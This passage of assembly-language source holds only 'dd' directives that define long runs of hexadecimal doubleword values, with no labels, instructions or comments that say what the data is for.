		dd 0DA07A711h, 0B0213704h, 202E12D3h, 43161DC9h, 0E7FE2200h
		dd 8D4ADF5Fh, 25BB00FCh, 901A2B2Eh, 9700C5C1h, 0DDA86CCAh
		dd 0A51030Ah, 6F98F3B6h, 183C00E0h, 0FE4B1B11h,	0B5102D17h
		dd 0E5792C00h, 1CFDF4B7h, 452F2190h, 8382AF8Fh,	0CBD82717h
		dd 6200B263h, 356F1444h, 1F57A2F8h, 0FB216Eh, 1CD0D1Bh
		dd 17009481h, 32DDE7FFh, 93F442h, 25953D9Ah, 0E102130h
		dd 27F84600h, 0C4183143h, 91400F15h, 87C088A0h,	79384F32h
		dd 69455400h, 0D0B48ACAh, 0BF3600E7h, 1D150DD7h, 8C00FEF4h
		dd 0F028C8EBh, 208E565h, 10A9F9A3h, 0E487A2F7h,	0CEB88318h
		dd 0EC5D5AC8h, 0F1366B00h, 90A14797h, 7CA800B7h, 0A624E237h
		dd 6B0043D1h, 445D75F6h, 0BF0A4E5Fh, 0B8407D62h, 9A0ABD87h
		dd 94B394F9h, 4440E51Eh, 9F6B68A5h, 5E330099h, 0A1F5054Eh
		dd 3D00DC3Eh, 0D6DD5616h, 0B88E9Bh, 11D3D84Ch, 0AE387309h
		dd 929F9100h, 39DEACBCh, 2114099Ah, 0CB07C687h,	7F690009h
		dd 3800B137h, 5A9418E2h, 0BB4F6C4h, 19FB9F75h, 43003AD8h
		dd 72388B05h, 39D6535h,	0C0C2931Ch, 7783947Ch, 0EC22A8E8h
		dd 36C7148h, 4498D5D0h,	0D84800F7h, 7AE13094h, 0C0000DC1h
		dd 1F67E01Ch, 0A65CB2h,	0D2959CF6h, 0C9BE355Dh,	0EBD72A00h
		dd 86AB8428h, 7509801h,	3315FEE5h, 0CE7F5034h, 0A230EB63h
		dd 0AF41EC7Ch, 9780002Ch, 1A7810DEh, 1D03BA60h,	8E626BEDh
		dd 0C91FB0CAh, 32510B23h, 8680D27Dh, 7082950h, 98AE3701h
		dd 0E3A58171h, 4EC9F4h,	9749A0D5h, 42643ED6h, 0DFAA6D1Eh
		dd 0FC519A40h, 3A70C233h, 2ECCF41Eh, 64FA651Eh,	0D45595E8h
		dd 81E8DE00h, 4ECA0924h, 9FEB2A03h, 2118AFC9h, 5A9154A0h
		dd 0B7273B83h, 2584B3E8h, 479FD800h, 4505CC44h,	8D1D0082h
		dd 5A9C5077h, 81C513Fh,	0EF03FC9Ah, 0B8762AABh,	1E58A012h
		dd 43203435h, 0C5222754h, 0A70220EFh, 6E24F288h, 3B0058A3h
		dd 7F0E0130h, 6891C021h, 6547EAA8h, 5C1411C0h, 3A2189Ah
		dd 899F8B20h, 0B11C860Fh, 0ED40537Bh, 20FE7A9Ch, 116C4CE3h
		dd 0BC83AF00h, 5628A7DBh, 6373DD90h, 0F7318500h, 92222FE2h
		dd 7C960030h, 0E81D87ACh, 0F83CFA43h, 6DBF84BBh, 6D84DEA7h
		dd 7EA2BB80h, 0CD4F0083h, 85338841h, 1300029Eh,	4E56BDACh
		dd 0BAEE2ADh, 0DABCF52Eh, 0C6807809h, 0DEBD339h, 9589600h
		dd 0DC181392h, 876A38F3h, 0FD4F428h, 0D5CC56FAh, 0B62974E0h
		dd 500A036h, 643F0B22h,	6AAAFDh, 142F481Fh, 0E0697EA7h
		dd 0EC76001h, 0A1B13A89h, 70F98ECh, 21C95038h, 9AFAD099h
		dd 7D00F317h, 9C10EA6Eh, 1EECC72h, 672379B8h, 0EC49CD56h
		dd 2C01C244h, 62B9B4E3h, 0BB440727h, 40E1B80Eh,	316055D7h
		dd 2F1001C1h, 8B9C38D8h, 0D02080ECh, 9342CC39h,	4B6E1402h
		dd 0B300E49Bh, 6212BB2h, 60091DCBh, 203D548Ah, 0DDC4F490h
		dd 747D009Dh, 89423A6Eh, 4902AA50h, 2F87B772h, 1ED08004h
		dd 0F688E55Dh, 13DF003Ah, 0EB809074h, 48139346h, 913Ch
		dd 64458349h, 0A01C0084h, 0E7721E4Ah, 9F003416h, 4944BECh
		dd 0CCAA66h, 0DDE92E4Ch, 0E651ACBDh, 0AB3B0600h, 45153582h
		dd 7FC82E89h, 0FF24007Ch, 4036D5ECh, 0E046D103h, 8D35AA1Ch
		dd 2C028C81h, 59C9C20h,	46385773h, 0B3CE8036h, 0CB0B1CCh
		dd 4209EC00h, 0C303016Bh, 806F00B9h, 25930B45h,	43748526h
		dd 11D49550h, 0D842E500h, 0A6169D0Dh, 0D4783EABh, 0AC35060Eh
		dd 31A500F2h, 39B1551Eh
		dd 0FA00677Ch, 0D088CDD1h, 0D61017h, 4B0DC45Bh,	78F1A1ADh
		dd 0F6A22C01h, 0D94FB74Eh, 0E840A9E9h, 0FB17AD0h, 52F14188h
		dd 0CF2C7B80h, 0B60E8643h, 32B1A19h, 0C861541Fh, 4CC453DAh
		dd 0E8011C76h, 8FED10BDh, 0AD8ECC1Ch, 23B9F800h, 0C5185759h
		dd 0F7320077h, 6EDEF558h, 0BA02AC46h, 1355DD35h, 0FF080A2h
		dd 1E9E157Ch, 492F0D69h, 98831816h, 0E198D7CDh,	0AE1E0A1Ch
		dd 0FC40EFFBh, 552BBE03h, 12980095h, 4E70765Bh,	154CA7E2h
		dd 29071DECh, 47AAA281h, 9870AC10h, 34311C8Ah, 0F3A84Eh
		dd 0D2870444h, 0F0197037h, 7C139500h, 0BA6750D9h, 7E701F8h
		dd 0A68E0F32h, 26E84036h, 7D79F201h, 0DC8FA200h, 0B8BA385Bh
		dd 59D91337h, 750B0317h, 0CA823F2h, 67E5B97h, 9D408F09h
		dd 3D680060h, 0BF68C5FDh, 8B00C7D8h, 51796BC4h,	61A694F3h
		dd 0A8C06030h, 4956D8E2h, 7CB6800h, 0EDD623F5h,	117A01A0h
		dd 0BD6097B9h, 0F2643058h, 740FEF00h, 55D8EB03h, 9A7A12DCh
		dd 0FEA009BEh, 7820FF89h, 624EB69Ch, 5FD91600h,	0C87BC2E9h
		dd 14381D7Ah, 96DF002Eh, 1D4AFEFFh, 8FEF8900h, 0D2FAA799h
		dd 0CD80072h, 3D3F634Ch, 4300B778h, 77B2F8C3h, 35557Dh
		dd 47A1AB0Fh, 0FB9240D2h, 0FEC27803h, 0F8DBD9EBh, 17283A0Ah
		dd 0F7457Dh, 65D70B83h,	7800A8CCh, 29F258Ah, 40ABECh, 114181F3h
		dd 0A7DD1D71h, 87FE58h,	8C2CFB98h, 580C8654h, 0D900C0B5h
		dd 0E99681D1h, 647960FCh, 0BF8FA59h, 84B8620Ah,	3F80C645h
		dd 74043A48h, 0A84D0084h, 0F4317788h, 0FE0046A6h, 5AE26C37h
		dd 2439D6EBh, 80DC9AE9h, 2ADDD542h, 8B02768Ah, 0A64C6708h
		dd 45CC6064h, 81B20043h, 0BA2FFE71h, 6703C307h,	0CC7B330Ah
		dd 0AED7909Fh, 0B1F90042h, 68EAD974h, 5C50B097h, 911707F4h
		dd 0DC0FAD92h, 0E028CF43h, 0A9F47DC8h, 642C1F47h, 3F74C02Eh
		dd 0CFD68B59h, 7FA63803h, 0E0404D68h, 9567702h,	789083CAh
		dd 231CBC00h, 0E0E4A7C4h, 0F04BB107h, 8C600DBCh, 7FEC19h
		dd 25BBF6ACh, 2322039h,	0F97EF100h, 56D59A97h, 0B3B7263Bh
		dd 2EE10E5Eh, 52C0E961h, 91BC2019h, 72F19B1Eh, 50F7CE00h
		dd 1FA188ECh, 9BEAEB7h,	744874C3h, 6A7433E5h, 0B018E098h
		dd 0BE461221h, 18DD3841h, 83C91180h, 6D23DAC3h,	0B3BB5503h
		dd 0A9A26220h, 4A707A03h, 4F1400B9h, 0EF1A8C6Fh, 5002F84Dh
		dd 0C31B9177h, 0ABDC4090h, 7B4516F7h, 85540083h, 995CA9BDh
		dd 9E13150Fh, 79514ADh,	969F44DEh, 0E7CBEB40h, 6520056h
		dd 0B6C7082Bh, 0BE009BBDh, 0AC206A46h, 6C75D8h,	7342517Ch
		dd 74CDF64h, 54630D00h,	0EECBEF22h, 31D70C50h, 81287B58h
		dd 18884200h, 4BB9ED06h, 0C0800BC9h, 0A3002D2Ah, 9CE52EFFh
		dd 2E10448h, 0EAE16D4Fh, 28EC8143h, 20323045h, 2429A500h
		dd 0D1F8B3CBh, 0D53D4F00h, 0C08A4905h, 0EAEB007Dh, 0E06DD41Dh
		dd 0AF1F92B2h, 3BC082ADh, 119DE928h, 875E1CC3h,	2EBC80A0h
		dd 0F124722Fh, 0E193F60Ah, 1F1FB06Eh, 7317E380h, 0FFD3A52h
		dd 9B707C4Ch, 96022ECh,	0E5B4C900h, 375EBD12h, 24C700BCh
		dd 3A3BE70Ch, 0ED0C56DCh, 0F882361Bh, 0A3330183h, 459DF577h
		dd 0B5ECDC40h, 97E57807h, 4470D012h, 3AA46BFFh,	0B6802765h
		dd 88A5CCFDh, 0D163E86Ah, 0F8B38320h, 16DEB7h, 0A3C593D3h
		dd 9B049019h, 59711700h, 758FC645h, 4BB6005Bh, 69A5E35Eh
		dd 8600DD01h, 5CC30EB5h, 0CEC44Fh, 5F096BC5h, 0E18A85C0h
		dd 9837D000h, 729D0BB2h, 0D2611C50h, 0D33CC958h, 9CEE8C00h
		dd 0B21DDD52h, 5B00053Eh, 501E0DD2h, 9E99002Fh,	32CE7E73h
		dd 3B00B95Dh, 8969A0A6h, 0C61D83h, 33044D86h, 80EF7C47h
		dd 0F1FD4C00h, 8299D8CFh, 96AB012Bh, 0E5448B73h, 693FE84Dh
		dd 2C1CEE0Fh, 0CE0E800Bh, 0F91116h, 72207563h, 0E26429CDh
		dd 9FBBD900h, 0EE14E7DCh, 87A63EC6h, 0B0C8CB80h, 0AFB16D13h
		dd 7139CF1Ch, 0F7C4F8Bh, 8F1B80F9h, 4C199381h, 0F90055CBh
		dd 2F632D17h, 310076ACh, 0DF253A18h, 4AA3ABh, 5A940CEEh
		dd 0FB686746h, 15637000h, 0B9ECB78Eh, 2ED700A7h, 8148D254h
		dd 4000C792h, 0BBE1F85Dh, 7D7235h, 4CF9B010h, 750E85C4h
		dd 3B1B080Bh, 532B00C7h, 14B7014h, 0AE593E89h, 0C0CB4DD3h
		dd 4A00F077h, 0AFC7331Fh, 1294B093h, 0BC470Dh, 0D159318Bh
		dd 242C2E69h, 0BE0E14B7h, 914240D6h, 0E40830Dh,	1AD32986h
		dd 0A5F81420h, 1F905409h, 0A0701D00h, 587E4DF2h, 0FA333B77h
		dd 0DE592900h, 0F775113Eh, 882A5426h, 0C9826380h, 3E7FC208h
		dd 0D813EDE4h, 0D358C08Ah, 9D0010E8h, 565E4F6Dh, 0E5305CCh
		dd 4A0A03A5h, 90B36A8Fh, 2CB38510h, 0D2F32700h,	8ADB7EB4h
		dd 34D313E2h, 1E6883A2h, 0BC7CCBC8h, 0E8223100h, 0C4864DD5h
		dd 0A6C50612h, 79A173C1h, 0E44C160Fh, 0BD5600F1h, 0C033D492h
		dd 5801C18h, 9D67BF93h,	0C8807811h, 61173Dh, 289BEF43h
		dd 4FB3A331h, 0E25B3Fh,	5158C3A2h, 73495078h, 21B2C085h
		dd 67A9F7C0h, 0EB9548C0h, 1165704h, 3B770568h, 3C744CB5h
		dd 3E0F39DCh, 1768756h,	3360B760h, 772B2E3h, 8BF0C214h
		dd 7963A1C7h, 0F7CBF8F1h, 59686130h, 5570CEDh, 0F951EBD2h
		dd 0B50C0062h, 70227431h, 0BC9F0500h, 9A7D428Bh, 0C454005Fh
		dd 0E2D1764Ch, 0BA000A93h, 0EA279674h, 2D5117h,	18B5B961h
		dd 8899B20Dh, 0A0FE280Fh, 4F6A0F0Ah, 5F81DE04h,	0B9890B2Fh
		dd 0CEE820h, 0A51AA096h, 61C7A802h, 9D247B1Fh, 0B03307FBh
		dd 0FB00D4A6h, 93D88Ch,	94656AEEh, 7818BD14h, 97D09F00h
		dd 58B51AE4h, 0B6EE0076h, 0A14AD960h, 0F50053DCh, 0C69FECACh
		dd 6CDEAFDh, 0C5BC6EE4h, 9202E8E8h, 63483B66h, 61A881ACh
		dd 0AC507365h, 0A134382Fh, 69D03F88h, 61E50CBCh, 0B0217264h
		dd 5030A8E8h, 0DBFA1165h, 41F3E685h, 6438829Dh,	48012FB3h
		dd 0E4721510h, 6C20208Ah, 18CC9503h, 166BCB5h, 63AAB211h
		dd 0F0E78Ah, 10BACF32h,	9FE64BE3h, 0C7E90800h, 2468C876h
		dd 440FB9h, 0CE13CA83h,	100079E8h, 0A3CC1AADh, 18322693h
		dd 10124920h, 1C91519Fh, 7933D200h, 481ECA85h, 3742CA8h
		dd 1B67034h, 63F7C137h,	380A06F5h, 0A47473DFh, 450FF31Fh
		dd 0EACF06EDh, 0C3127B10h, 0AD6411F1h, 0AA420DD0h, 0CB0FB1FEh
		dd 94E43B6Fh, 3ECE01B0h, 965E3567h, 61C6308Eh, 0D064874h
		dd 70185920h, 782B9C14h, 61918CC4h, 0D6B54C28h,	89C3D700h
		dd 3A71CE2Ch, 0B6563F17h, 7E4AE003h, 601EF0A8h,	0A0303716h
		dd 5FC83039h, 0BC90EF03h, 399C9000h, 19C1FA61h,	0CA2F0068h
		dd 0FC6B6050h, 565133D7h, 0D927F0ACh, 800C3C3Dh, 9548B543h
		dd 15ECED05h, 0D86BBD65h, 0AF15500h, 515C3D96h,	7B636412h
		dd 52002025h, 3AB88E2Eh, 0E0F4544Dh, 72E013h, 90120EE3h
		dd 85C9ED19h, 0C4B30300h, 0EEB73162h, 65DE0222h, 7061A12Ch
		dd 58759090h, 0CBF86D13h, 7FEA2002h, 842C4278h,	9A00B728h
		dd 0E55F83EEh, 896CCCA0h, 0B1331300h, 423F4348h, 32CF0FC3h
		dd 3681AEE3h, 0F04E514Ch, 14A0F44Bh, 0B5F83B26h, 8D071C00h
		dd 5FF7937h, 0ABCF00F4h, 0DE7584D7h, 0A1010CF3h, 50BF1E59h
		dd 35EDAFA2h, 0BBFCCCh,	8FDB06DDh, 0F4F6D352h, 0B909243Ch
		dd 32378170h, 10CE900Dh, 8FECD0C1h, 0EC2D0082h,	7364F64Fh
		dd 270331FAh, 49C46109h, 12AF82Eh, 0F6330107h, 44F89ACFh
		dd 11204F43h
		dd 87803009h, 8A379539h, 80163800h, 43B34F1Ah, 2688CF09h
		dd 0DE1D0A83h, 0FD784018h, 38A859E9h, 0E580E3ABh, 0A6FC4D17h
		dd 0C858EFC4h, 40BC3318h, 0CBDBC0B5h, 0D2550029h, 1EF0FAD4h
		dd 0BA0370DDh, 0CF8F6DC0h, 5268806h, 43C11CB5h,	272AC002h
		dd 0B384315Ah, 0FB88BB01h, 71D2220h, 6005FF30h,	40E68006h
		dd 80031735h, 87DBA001h, 0FB083749h, 353670A1h,	6E28D3F6h
		dd 67E28402h, 0A64CC500h, 96DB75D9h, 86BCA090h,	834806C9h
		dd 0B8E9018Ah, 87425400h, 6DEEA9B7h, 0E75C000Bh, 77565FD1h
		dd 8C446EB6h, 407F003Bh, 530DCD94h, 0AB0004BFh,	0C30C7722h
		dd 48FE8A35h, 4429118Eh, 843D1F5Ch, 62497F48h, 374620ECh
		dd 7600B135h, 193EBC63h, 246CF7E4h, 301C9617h, 0A7515650h
		dd 86CFF90Dh, 0D7590Ah,	47547D41h, 0C38CC06Eh, 8D0ABB07h
		dd 5FC0FDF7h, 0F2EB1C0Eh, 28420144h, 1E6321Dh, 2C7E3097h
		dd 435C3F0Fh, 0B183C57Dh, 0FA5E8400h, 18F4EC05h, 60049E4Ch
		dd 4B00A606h, 5B8C3393h, 0CD870ABCh, 0FC21A269h, 0D87C9353h
		dd 0AD166300h, 593A3611h, 0C486416Ch, 0F1008AB1h, 998E67FCh
		dd 7F6DF9Bh, 0C55470E5h, 0F988620Ah, 0BD7A5C40h, 786C0948h
		dd 3EE80500h, 0F4EF416Ah, 8C1B1893h, 0E91CC847h, 0F15401F9h
		dd 0EADC7700h, 0D9A00603h, 0D5F4ED5Bh, 935C6020h, 2490AA2Eh
		dd 4640FB60h, 7D8D9344h, 545AF93Ch, 220783B0h, 9413A65h
		dd 0B8EA64C7h, 393021A4h, 0B14473h, 7C30D851h, 8B259178h
		dd 3DB39D02h, 4059DB3Ch, 1E8A2833h, 0C0344ECDh,	3606FA05h
		dd 69C0D1ECh, 5FC22EAFh, 0AB4A3859h, 9095131h, 0F208007h
		dd 479AC237h, 0E99E003Dh, 76B611D7h, 4A004EA6h,	0E46E8B5h
		dd 0C3047C83h, 77DE630h, 7811A10Ch, 0A4769D0h, 0C5669055h
		dd 0FE0400F4h, 3F8997CFh, 8ED0A0C3h, 0A39FBA01h, 0DDECD8h
		dd 0DEDA0239h, 918E3466h, 19DCEF31h, 0AFD818F0h, 3FD20973h
		dd 5404D072h, 3E7C9847h, 7F493508h, 42F8C431h, 0C0353447h
		dd 128F7F96h, 6F1636Ch,	0C1099E78h, 8F78631h, 0A0C2EF37h
		dd 0BD744588h, 0A12D001Eh, 2A4A6936h, 7117D655h, 6F00CFA3h
		dd 61443E8Eh, 8A8891B4h, 3FBC59FDh, 406879A6h, 0C44D88EAh
		dd 0C3FB890Fh, 5A718075h, 546F57E7h, 31884F9h, 9CD44C07h
		dd 5E80CEFBh, 7B139D33h, 37044184h, 4081E0F9h, 30234A62h
		dd 1F8E2102h, 2461DD56h, 0E8684088h, 0EB010C29h, 7358F5ECh
		dd 4831ACC6h, 6C00B845h, 339EE84h, 0D372053Ch, 20811112h
		dd 8D9DF7E0h, 0EC6DDC24h, 0EAEC7600h, 4CCB0F69h, 0B7064F98h
		dd 50864673h, 0F4020AEAh, 5AF6505Ch, 3634807Bh,	0B65B56h
		dd 26BB8B8Eh, 2BCEE9E4h, 2A70589Bh, 1C590078h, 54288BEAh
		dd 640187FEh, 1901F0AEh, 4C30EFCDh, 8BE616B7h, 6540077h
		dd 0A814D087h, 0F648B638h, 235540Eh, 10F69E9h, 0D30C0DE0h
		dd 960F1A4h, 2C246DB4h,	35E26053h, 0D1802315h, 4B00F311h
		dd 0C7703538h, 6F003C31h, 40FAB40Ah, 9D7EDF2h, 0EE83D8F9h
		dd 0CCFB7010h, 13D4C75Ch, 24414493h, 9419107Dh,	0C1DE0DCCh
		dd 3E835A29h, 0F5D8509Bh, 91C00277h, 447F1262h,	67480021h
		dd 891F2B08h, 0F540A015h, 559A0006h, 18609B70h,	0B900AD2Eh
		dd 7D62EC01h, 48FE0D8Dh, 0D714A040h, 204DFC36h,	0B03830BCh
		dd 82813AF1h, 0B76D0DE0h, 1C1E00A4h, 0AD020416h, 85173EE7h
		dd 0CFB4C086h, 0A582027h, 3F174646h, 0D90C0A35h, 40F94438h
		dd 0C1353948h, 60B40281h, 9D1A7BB3h, 5F433C44h,	4971210h
		dd 379328Dh, 3482ECC0h,	0A0445C3Ch, 0BE63A0C1h,	6C78E081h
		dd 751AB812h, 8E05F830h, 42F600CCh, 1F34971Bh, 74F62A40h
		dd 71F0C000h, 328C20A5h, 26F473D5h, 289049F6h, 6F342A1Ch
		dd 0F894E2C0h, 0F3B02C5h, 770AEA4Ch, 83A28CC9h,	0C541BA21h
		dd 0AF18A005h, 0BF3200F7h, 0C5A727Fh, 0B4480944h, 51933664h
		dd 0E83532D0h, 0D8844770h, 0FF3B634Ah, 31397F92h, 0FF4413EEh
		dd 334F8C10h, 0C0AB4C84h, 5177D10Bh, 0FF10582Ch, 8EAE5902h
		dd 0E0E16D82h, 30271AC4h, 26B1846Fh, 0D407B8C2h, 0E599E469h
		dd 7037A480h, 710E0023h, 5994DB14h, 4700AB18h, 483F2128h
		dd 0E8398A27h, 8C8C5201h, 0B9060848h, 0D17D82C7h, 1A801206h
		dd 0EF80E47h, 0A3106E6Ch, 5D7DFEC1h, 53902076h,	96484C01h
		dd 0E5157A8Eh, 0B0DC38BEh, 41680BD2h, 9362C030h, 538C2C08h
		dd 40F964BCh, 50934A44h, 13940C56h, 1190EA0h, 0BBFE3200h
		dd 0D2265B1Bh, 5D7A0BB7h, 14249F08h, 7D5C10h, 1E7CEF26h
		dd 9AAEF6h, 22163D7Eh, 1A7F7A9Eh, 7CD2972Ch, 0E8005F17h
		dd 55655B20h, 8B3E0010h, 834C82DAh, 470063D4h, 2438CF41h
		dd 0B2409BF8h, 3018F1D8h, 5949C204h, 0E32A99Ah,	0C2391D20h
		dd 3568027Fh, 0E6190B94h, 0AEB690A0h, 0A731533h, 0D83B60F0h
		dd 9A6B7F72h, 34800520h, 0C22C3420h, 3A59105Dh,	21D5CCABh
		dd 0C2350011h, 0A6231272h, 0E9009A97h, 55C0A77h, 0C6E11A73h
		dd 31DBEFF0h, 7A285703h, 0CDCE3788h, 448110C8h,	0B5005AD2h
		dd 0C759D460h, 1AED186h, 5B5D9C10h, 0D62A8CC6h,	0D3521048h
		dd 6096BE7Dh, 85D97300h, 0C0CF8742h, 0F02BF470h, 38C64535h
		dd 1281F91Dh, 856B5D0Fh, 68AC8168h, 0C1E9016Fh,	1875A060h
		dd 2005F735h, 917ADA06h, 20A71FF2h, 2E38B1Dh, 96A86956h
		dd 1102E0E1h, 0C8CA8401h, 25350DA0h, 0A8240837h, 3CD89845h
		dd 7F2C4BFEh, 457128E1h, 6AD8F721h, 0D71B0F8Eh,	64801424h
		dd 59FC8A4Eh, 2D6EC618h, 74569h, 0F171DB29h, 4F48EA94h
		dd 0B8001F76h, 6EE825F8h, 1072C23h, 0E22BF7B5h,	0E041196Dh
		dd 9503205Ch, 8F1D70F0h, 45D0A0EEh, 0F3633CEFh,	7B94EA4h
		dd 306F3906h, 0FD55EC43h, 63D2201Fh, 65D52B80h,	78F121F9h
		dd 738AEF4h, 98F96A4Bh,	54184AEAh, 9B084C63h, 0E0F3C2E6h
		dd 1227C310h, 83B9DB20h, 26D06A60h, 0D0774E4Ch,	0F359D503h
		dd 0C0503841h, 66FDF4Bh, 0F451402Ch, 271ED11Ch,	9C3F3B3Ch
		dd 6C6E4E96h, 478CF45h,	96B6B09Fh, 0D4E8846Ch, 998B0250h
		dd 7B36002Ah, 161D705Dh, 0EFD2DDB9h, 0E8861C80h, 154A308Bh
		dd 0E9FC1C18h, 84E6B28h, 4BC0458h, 613A8A83h, 1822885h
		dd 4E2C8FDBh, 502C912h,	0C3076D8h, 8550D510h, 9C80E193h
		dd 6C8A7F92h, 5AA059BFh, 18901544h, 40D75682h, 949A1E3Fh
		dd 1260860Ch, 2AF9591Ch, 7D78730Ah, 580B503Fh, 0BE5F43F0h
		dd 88DFC821h, 0C477618Dh, 2D23A3Dh, 440D2BECh, 0C8AE601h
		dd 0A088072h, 5201FB35h, 0D30F31C5h, 0A22A84D0h, 8AC0400Ch
		dd 5510E98Ch, 8580FAD3h, 594702C4h, 3574C505h, 48820C89h
		dd 7310DB80h, 34935842h, 4C348500h, 5335047Fh, 60CD350h
		dd 0A25BF925h, 84227DE8h, 0F8E17558h, 11649DF2h, 57C402E1h
		dd 0A89D8B59h, 0EC10BC8Ch, 847AB890h, 6FCF859h,	0C37B114Fh
		dd 0DC721419h, 44C2F883h, 8CE20AFAh, 9B05C41h, 8B5A4820h
		dd 0E2CE400Fh, 1CD9B643h, 28E48C02h, 0F016D4E4h, 0A00DE5C5h
		dd 9890694Eh, 8B6581B3h, 9197277Fh, 7440416Ch, 9C497B77h
		dd 6514EC51h, 0E036CD88h, 6441A431h, 5E1113F7h,	76944832h
		dd 0E0FBCECAh, 0B2C92A8Fh, 0A1C80C37h, 99B74680h, 0A67D0C8Ch
		dd 93578CA0h, 48C262Ch,	7B0B29FEh, 0ED368E88h, 0F46C1016h
		dd 8D50811h, 84B01B11h,	0F1BF8BE9h, 0DF284350h,	95C837D4h
		dd 45CD8061h, 960C1899h
		dd 0E704C89Ch, 0CCFF035h, 2C1597E2h, 2CA8EAE8h,	518048A0h
		dd 0C99A346h, 8CAF570Ah, 1FC22709h, 7AA8E49Ch, 0B16C4188h
		dd 0E4A093CFh, 120D2CD2h, 0D28AE734h, 0D89AC958h, 782D74C4h
		dd 50DC0A43h, 8FD762F8h, 0F8C5FD81h, 0B194015Bh, 81DBA8C9h
		dd 94D8EFE1h, 0DBD89E79h, 589BFC81h, 934C0D2Ah,	0D423542Ch
		dd 9C885D16h, 0EC20DFD7h, 10A16A30h, 13DF6C34h,	71A698Dh
		dd 0C8F47A04h, 0A0F62D8Ah, 0CC8B580Ah, 8F2C844h, 681E4100h
		dd 6076C5F7h, 5318DF2h,	85DA7133h, 22828F01h, 3C9D29A8h
		dd 20F4ED82h, 0E88A3C3Fh, 849B3C38h, 0CA6F2723h, 873CA3D8h
		dd 580AACCCh, 809C0AF0h, 5092F96Fh, 2812A501h, 9B076EF1h
		dd 32271DCh, 0B063DB20h, 0EFA7D521h, 2DAED200h,	921CE98Fh
		dd 6D8043E4h, 73D4E6FDh, 0A72C0022h, 0DB27F870h, 1F072B94h
		dd 28B065ECh, 67285846h, 472010EEh, 0E824C070h,	2A00066Fh
		dd 2C2373A7h, 1FF194EBh, 357A58Fh, 0FD6CDB22h, 7F6487D7h
		dd 0F16AE600h, 0A096B123h, 705F04A3h, 95242748h, 9600B4EAh
		dd 2B2866AFh, 71449E07h, 26FC3570h, 1F1E0154h, 0A57C5C89h
		dd 0A6FAE101h, 7092018h, 0C73CA1BFh, 59850B06h,	0B05F2283h
		dd 770145B0h, 6D7B35B6h, 1C601B98h, 0A5FE7Dh, 8310608Fh
		dd 0E86111A9h, 388DDCFBh, 5C7D4800h, 2A15A7F4h,	0AB5D3B36h
		dd 45012058h, 8104E8EFh, 57746041h, 5918FB69h, 0CE0ABE74h
		dd 3401A82h, 871ED072h,	0FAECD90Ch, 0F3F408F9h,	388FF980h
		dd 0AE59C75Eh, 44E0CE7h, 89EE391Eh, 18637868h, 108DBAD3h
		dd 54257A73h, 65C00CDh,	50C06C39h, 63408C58h, 0C65B6835h
		dd 0B80BF82Eh, 0DFDB6482h, 2028523Ch, 760B5FD3h, 697A72B6h
		dd 0D44867A0h, 0AE41EC11h, 1A21048Ch, 6CE8C599h, 9180C134h
		dd 42B0B5CFh, 8CAE6E88h, 0C6535CA1h, 9FD8C40Fh,	2040034Eh
		dd 424C7934h, 4375058Eh, 0B4D0043Dh, 48A10A2Ch,	0CE489F61h
		dd 46C22864h, 71644507h, 0F59B8D6h, 0E0E64201h,	0E7A48F1Ah
		dd 23F7001Dh, 0F850A6C4h, 9473D21Fh, 61F09507h,	54F2822h
		dd 788C27F2h, 750B05Ah,	0E70673D3h, 4AB0C0EEh, 23E8454Eh
		dd 0FD0260F0h, 0D9FB0FE0h, 60449AEAh, 5CA8BCFh,	5865D7EEh
		dd 0AB0430EFh, 59F95737h, 34080010h, 0F87C55ECh, 4274308Ah
		dd 7D08A448h, 246CE104h, 0FA0A86C8h, 405EA005h,	11CAC604h
		dd 90651C76h, 24CA0832h, 34B24A07h, 8103E2D8h, 1063144Eh
		dd 78192244h, 4610B453h, 0F6527F08h, 98C61070h,	9C36F17Bh
		dd 0C629DBECh, 4B0A0CA8h, 50C88CA7h, 0B94D421Ch, 0A449181Bh
		dd 0F50922FBh, 369E084h, 0DA884A09h, 0A7209EDCh, 91921C49h
		dd 0F8228D09h, 898EFB44h, 248412F9h, 918A4887h,	903E85h
		dd 42443DFEh, 19463B41h, 0D1074A48h, 0D2B8B905h, 17A0DA84h
		dd 53A85104h, 0C014EE50h, 1CC8E9EFh, 0FC790744h, 3C06093Bh
		dd 0A17D0ED1h, 8308E9BEh, 0A3DBEAF7h, 0F687F0F4h, 988FE85Ch
		dd 0F609F0E8h, 32087D2Ch, 6740BF13h, 0DEA17E01h, 12F7EDDCh
		dd 9AA897D0h, 4D0FF48h,	0AB2EAFFh, 2E608856h, 0C274A37h
		dd 1C5C393Bh, 38A54F19h, 9ECDE72h, 5C583640h, 65D95706h
		dd 45095442h, 2F180455h, 80BBEA04h, 529C6D85h, 650F010Eh
		dd 83AA11DFh, 0A7218BD0h, 5734D6C5h, 93349581h,	53D0C755h
		dd 30F17C90h, 7B180B2Ch, 690F84ECh, 0CFDB07E4h,	3E1C9464h
		dd 80081C8Dh, 0E71E4182h, 2289009h, 0E44CBD3Eh,	1B1AC0F0h
		dd 57280745h, 52071864h, 0BFC5C24Eh, 72E0DAF7h,	1E58F235h
		dd 40E4248Eh, 0B05B4906h, 0D334086h, 0EA62402Dh, 5F202EEDh
		dd 0B94FD0FEh, 10FA5A00h, 87165B56h, 0E8330035h, 66685C8Eh
		dd 0E1C42A2h, 9BC06B88h, 5156D9A7h, 3F3E2ADh, 2376144Fh
		dd 83F95B1Bh, 34B448D1h, 0A20129F0h, 0E6F90981h, 6F11F784h
		dd 0C8341086h, 110A0138h, 0A6DB9B65h, 7D3EE40Eh, 9044941Eh
		dd 49F53C0h, 3FE331h, 0F4FC98Ah, 1177162Eh, 0B36283E2h
		dd 0A0027871h, 6136E8B0h, 4DEE008Dh, 4165D7D6h,	9F30AE91h
		dd 2D3481AAh, 0CA0F0352h, 0FDA2E9E6h, 1C732AF0h, 95884550h
		dd 0A016830Fh, 1175E0D3h, 0C6A37Fh, 0AD6E6041h,	0FFD04D01h
		dd 49EE721Ch, 663265C0h, 13B84E0h, 0EB9302CBh, 0F0B52ADFh
		dd 793CFB23h, 8A1F00D1h, 0D417D7D5h, 29E301ECh,	2CCCEB88h
		dd 3C144A91h, 0DAD618FDh, 3EDEE530h, 0E3087C2Eh, 0F40089FBh
		dd 43BD992h, 0DDEE0094h, 0DF996AE9h, 3E627503h,	8DD77E90h
		dd 1FD01887h, 0C9E10394h, 0D13E7805h, 28CE80A6h, 0F6D2818Bh
		dd 0F8D0E586h, 0CF3B306Eh, 6E3D678h, 7A2B31C3h,	3B590AE5h
		dd 620C27D5h, 84A06B19h, 2DDDA87h, 0CCE29005h, 88036F2Eh
